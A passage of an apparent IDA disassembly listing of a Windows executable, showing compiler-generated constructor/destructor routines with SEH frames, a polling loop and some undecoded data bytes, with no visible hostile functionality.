ptr [esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417120 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417640 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176E0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417870 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417870 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179F0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AD0 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B40 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417B40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BE0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417BE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C00 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D60 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E30 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EF0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi retn sub_417EF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F20 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417F20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418010 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180D0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418150 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi retn sub_418150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418180 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418200 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418200 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418280 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi retn sub_418280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182B0 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4182B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4182B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A4 mov eax, esi pop esi retn sub_418330 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418360 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A8 mov eax, esi pop esi retn sub_418360 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418390 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418390 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418430 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418448: ; CODE XREF: sub_418430+E4j test bl, bl jnz loc_41851E mov al, [esi+8EF74h] test al, al jnz short loc_41845E mov bl, 1 jmp short loc_418472 ; --------------------------------------------------------------------------- loc_41845E: ; CODE XREF: sub_418430+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418479 loc_418472: ; CODE XREF: sub_418430+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418479: ; CODE XREF: sub_418430+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4184FE loc_4184B4: ; CODE XREF: sub_418430+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_4184DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4184DB: ; CODE XREF: sub_418430+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_4184B4 loc_4184FE: ; CODE XREF: sub_418430+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418448 test bl, bl jz short loc_41852B loc_41851E: ; CODE XREF: sub_418430+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41852B: ; CODE XREF: sub_418430+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418430 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418590 proc near ; CODE XREF: sub_401771j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418590 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8EAB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4185D0 push eax jmp short loc_4185D5 ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_418590+3Bj push offset byte_448F40 loc_4185D5: ; CODE XREF: sub_418590+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4185EE push edi jmp short loc_4185F3 ; --------------------------------------------------------------------------- loc_4185EE: ; CODE XREF: sub_418590+59j push offset byte_448F40 loc_4185F3: ; CODE XREF: sub_418590+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418590 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h dd 244C8DFFh, 2685128h, 90000002h, 69E020E8h, 8E92E871h dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418940: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418960: ; CODE 